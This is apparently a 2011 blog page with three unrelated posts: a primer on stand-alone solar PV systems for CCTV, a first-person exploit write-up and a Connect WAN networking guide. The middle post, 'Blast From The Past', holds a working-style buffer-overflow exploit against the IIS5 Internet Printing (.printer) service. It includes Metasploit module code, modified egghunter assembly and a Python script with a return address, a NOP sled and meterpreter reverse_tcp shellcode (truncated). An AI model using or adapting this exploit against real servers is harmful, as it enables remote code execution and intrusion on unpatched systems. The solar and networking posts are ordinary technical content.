Saturday, June 25, 2011

Components of a stand alone solar PV system for CCTV System

Sunlight to Electricity is photovoltaic technology converts sunlight into electricity and is emerging as a major power source for CCTV due to its numerous environmental and economic benefits and proven reliability. Enough free sunlight falls on earth to supply our energy needs for years to come.
Environmental Benefits: As PV generates electricity from light, PV produces no air pollution or hazardous waste. It doesn't require liquid or gaseous fuel to be transported or combusted.

Economic and Social Benefits: Sunlight is free and abundant. A photovoltaic system allows you to generate electricity and store it for use when needed. Photovoltaic contributes to our energy security, as a young technology, it creates jobs and strengthens the economy. It frees us from uncertainties and foreign oil dependence.

This energy source is free, clean and highly reliable. PV systems are long-lasting and require little maintenance. The benefits of Photovoltaic’s far outweigh the initial cost the systems.

Solar Panels (PV) Modules
The DC electricity produced by the solar panel or module(s) is used to charge batteries via a solar charge controller. Any DC appliances that are connected to the battery will need to be fused.  DC lights are normally connected to the charge controller. Any AC appliances are powered via an inverter connected directly to the batteries. NOTE: inverters used in grid tie and stand alone systems are different and should not be interchanged.
Most stand alone PV systems need to be managed properly. Users need to know the limitations of a system and tailor energy consumption according to how sunny it is and the state of charge (SOC) of the battery.
The solar panels need to be configured to match the system DC voltage, which is determined by the battery. System voltages are typically, 12V DC and 24V DC, larger systems will operate at 48V DC.
The operating voltage of a solar panel in a stand-alone system must be high enough to charge the batteries. For example, a 12V battery will require 14.4V to charge it. The solar panel must be able to deliver this voltage to the battery after power losses and voltage drop in the cables and charge controller and in conditions in which the solar cells operate at a high temperature. A solar panel with a Voc of about 20V is required to reliably charge a 12V battery.
Charge Controllers (Solar controller (or solar regulator))
A charge controller is designed to protect the battery and ensure it has a long working life without impairing the system efficiency. Batteries should not be overcharged and the function of the charge controller is to ensure that the battery is not over charged.
  • Charge controllers are designed to function as follows:
  • Protect the battery from over-discharge, normally referred to as low voltage disconnect (LVD) that disconnects the battery from the load when the battery reaches a certain depth of discharge (DOD).
  • Protect the battery from over-charging by limiting the charging voltage - this is important with sealed batteries - it is usually referred to as high voltage disconnect (HVD).
  • Prevent current flowing back into the solar panel during the night, so called reverse current.

NOTE: controllers with MPP tracking will ensure that the solar modules operate at optimal rating and can increase output by 10% or more.
The power requirements of stand alone pv systems are rarely in sync with the battery charging. Appliances and loads need to be powered when there is sufficient solar radiation, during overcast weather and during the night. Bad weather may last for several days and the daily charging and discharging of the batteries takes its toll on them. Batteries that are able to handle the constant charging and discharging are known as deep cycle batteries. Batteries need to have a good charging efficiency, low charging currents and low self-discharge.
Battery Ah Efficiency
The Ah efficiency of a battery describes the relationship between Ah that are put into the battery and the Ah that are taken out. Under ideal conditions a new deep-cycle battery would be 90% efficient.
Choosing the most appropriate battery
The important characteristics to look for are:
  • capacity
  • cycle life
  • price / performance
  • size and space requirements
  • Ah efficiency
  • self-discharge rate
  • installation - vertical or horizontal
  • environmental - will batteries be placed near water supplies or in wildlife parks etc

Friday, June 10, 2011

Blast From The Past

Hi visitor I am from Kolkata, India. Its very simple and short Tutorial on my personal exp.
Recently on a test I ran into a windows 2000 server running iis5 with the Internet Printing module enabled, I was quite surprised by this but...a shell is a shell right? Since this was on the job and I wasn't wearing my cowboy hat I fired up my windows 2000 VM (who doesn't have one of those?) and went to work. Metasploit has a module for this vuln (exploit/windows/iis/ms01_023_printer) but surprisingly it is pretty flakey. On the first run of the exploit module it did not work so I took a look at my configuration of IIS again to make sure that everything was setup properly. After confirming IIS settings I tried the module a couple more times and finally was able to get a shell. I restarted IIS and tried the module a few more was still hit or miss - sometimes it would work on the first try sometimes it would take three tries, something was strange....

After breaking out immunity debugger it became clear as to why the exploit did not work everytime. According to the metasploit module the shellcode was being held at an offset of EBX and with a short assembly stub we jump to that location (see metasploit snippet below)

buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')

# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx

sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")

While this does work, it appears that sometimes the payload is not within the window and the exploit is not successful. Since we know about where in memory our payload will be when we gain control of EIP seems like a good place to use an egghunter :) I started out with an existing egghunter( and modified it a little since I know about where in memory my payload is there was no sense looking everywhere for it :) A warning ahead of time - I was lazy and nop'd out the access violation check...I had plenty of bytes to burn ;) -

mov edx, ebx #ebx is the area of our starting point
or dx, 0fff
xor dx,0fff #clear out the bottom half of edx for the start of our loop
inc edx #increment edx - this is the start of our loop
nop #abbreviated nops where the original access violation check was
mov eax, 57303054 #load our egg "W00T"
mov edi, edx #set edi to point at our current location in memory
scas dword ptr es:[edi] #compare our egg to dword at edi
jnz #jump back to the start of our loop (inc edx) if we didnt find the egg
scas dword ptr es:[edi] #compare our egg to the next dword for the 2nd part of the egg
jnz #jump back to the start of our loop (inc edx) if we didnt find the 2nd egg
jmp edi #jump to edi as it points to the first byte after our egg
After implementing the egghunter into the exploit I had no issues getting a shell everytime :)

Full exploit below - obviously will have to change the shellcode for it to work for you -

import urllib2
import sys

shell= "T00WT00W"
shell +="\x90"*(10)

# msfpayload windows/meterpreter/reverse_tcp lhost= R|msfencode -e x86/alpha_upper -t c #
shell += ("\x89\xe1\xd9\xe8\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"


buff = 'A'*268 + '\x4d\x3f\xe3\x77' +"\x90"*5 + egghunter + '\x90'*156
useragent = 'Shit Bird'
header = {'User-Agent':useragent, 'Host':buff}

req = urllib2.Request('http://'+sys.argv[1]+'/NULL.printer?'+shell,headers = header)
res = urllib2.urlopen(req)

Saturday, June 4, 2011

How do I setup IP forwarding/filtering with the Connect WAN

The WAN supports four features which provide security and IP traffic forwarding when using incoming or Mobile Terminated connections:
1.      Network Address Translation (NAT)
2.      Generic Routing Encapsulation (GRE) forwarding
3.      TCP/UDP port forwarding
4.      IP Filtering
This document describes each function, how they are used in conjunction with each other, how they are used, and what issues can occur with each if not used properly.

Network Address Translation (NAT)
NAT allows the Connect WAN to have a single public IP address on the mobile link, while allowing multiple private IP addressed devices connected to the Ethernet interface. 
Outgoing traffic (mobile initiated) from the private network to the public mobile network assumes the IP address of the public mobile interface.  An internal table tracks which internal IP address made the outgoing request so that responses get sent to the proper requestor.
For example, a workstation at IP address sends a request to  The source IP address is changed by the Connect WAN address translation to the public 
Incoming (mobile terminated) traffic is either designated to the Connect WAN itself (i.e. HTTP or telnet connections for configuration or monitoring), or is forwarded to hosts via the Ethernet interface based either on GRE or TCP/UDP port forwarding which is covered below.
NAT provides two main benefits:
1.      Security: NAT hides the Private IP addresses of the devices on the Connect WAN''''s Ethernet network.
2.      IP Address Availability: IP addresses are in short supply and cost money.  The Connect WAN need be provided only one IP address from the wireless carrier.
NAT is enabled by default on the Connect WAN.  It should not be disabled unless there is a specific reason to do so.

Generic Routing Encapsulation (GRE) forwarding
GRE is a transport layer protocol, designated as IP protocol number 47, is used by many routers, WAN switches and VPN concentrators, to effectively tunnel traffic over a WAN between routers.  Note that GRE itself provides no encryption but protocols such as PPTP can use GRE.  IPSec can be encapsulated in GRE (and vice-versa).  GRE uses IP-in-IP and allows private IP addresses to be tunneled through a public network.

The Connect WAN provides a simple checkbox to turn on GRE forwarding to pass GRE traffic from the mobile interface through to a router on the Ethernet interface.  Note the Connect WAN only passes GRE traffic and does not terminate it.
Here is an example diagram:
Figure 1 - GRE Forwarding
The HQ router''s peer GRE address is the mobile IP address of the Connect WAN, which in this case is  The Connect WAN has GRE forwarding enabled and will send to the router''s Ethernet WAN port, in this case  Typically this connection is a directly connected Ethernet cable.
An example similar to the above is where GRE tunneling is used to create a backup WAN connection to a primary Frame Relay connection through the Connect WAN and wireless network. 

TCP/UDP Port Forwarding
Normally, traffic initiated from a host site to a Connect WAN is blocked by NAT, unless the traffic is destined for the Connect WAN itself.  Port forwarding provides a means to pass traffic from the mobile interface to devices connected to the Connect WAN''''s Ethernet port.  There are two main applications where port forwarding is required:
1.      Pass application data traffic, such as polls or requests, to Ethernet connected devices, and
2.      Pass VPN traffic, such as IPSec-in-UDP, through to routers or VPN appliances.
For example, three devices are attached to the Connect WAN''''s Ethernet port:
Figure 2 - TCP Port Forwarding
The application uses a protocol that polls the devices using the device IP address and TCP port 502 (which is Modbus).  On local LANs and publicly routable IP addresses this is not a problem. 
NAT hides the private Ethernet IP addresses of the devices connected behind the Connect WAN''''s Ethernet port.  The application can then only send polls to one IP address the mobile IP in this case 
TCP port forwarding is used to forward the IP polls to one or more devices on the Connect WAN Ethernet port.  Different TCP port numbers are used to designate which device gets the proper traffic. The application must be able to support changing the TCP protocol port number from the default of 502.  In this case the application is configured to poll according to this table:
Remote Device
Destination IP Address
Destination TCP Port
Notice the destination IP address is the Connect WAN''''s mobile IP address.
The Connect WAN is configured with a TCP/UDP forwarding table as follows:
Source TCP Port
Destination IP Address
Destination TCP Port
Incoming traffic is then routed to the proper device.  The devices can use their standard TCP port of 502.
The main issue with port forwarding in this case is when the polling application does NOT allow the user to specify the TCP or UDP port used.  The workaround is to use routers that support GRE, VPN, or other forms of tunneling that can be forwarded through the Connect WAN.
Another example of port forwarding is forwarding of IPSec-in-UDP traffic to a VPN appliance or router attached to the Connect WAN''''s Ethernet port.  Figure 1 above shows a GRE tunnel.  In much the same way, IPSec traffic can be encapsulated in UDP to prevent NAT from modifying the IPSec headers (which would invalidate the traffic).  IPSec-in-UDP implementations always use UDP port 500 for IKE/ISAKMP, but can use various UDP port numbers for the AH/ESP traffic.  Here is an example of UDP port forwarding entries on a Connect WAN for IPSec in UDP:
Source Port
Destination IP Address
Destination Port

IP Filtering
IP Filtering is a security feature that allows the user to block all incoming, mobile terminated traffic into the Connect WAN except for traffic from specific IP addresses and/or subnets.  There are three IP Filtering settings on the Connect WAN:
1.      Only allow access from the following devices and networks.  When checked this blocks ALL incoming traffic except for the traffic from the IP address/subnets listed in the "allow access" tables.
2.      Automatically allow access from all devices on the local subnet.  This allows out-bound traffic from the private Ethernet network out to the mobile network and beyond.
3.      Allow access from the following devices and/or subnets.  When the "Only allow access from the following devices and networks" box is checked, you must provide entries here to allow in-coming mobile traffic to be passed through the Connect WAN.
CAUTION: Incorrect settings here can stop some or all traffic.  For example, checking "Only allow access from the following devices and networks" without adding IP addresses or subnets to the "allow access" tables will block ALL incoming traffic, even responses from outgoing requests.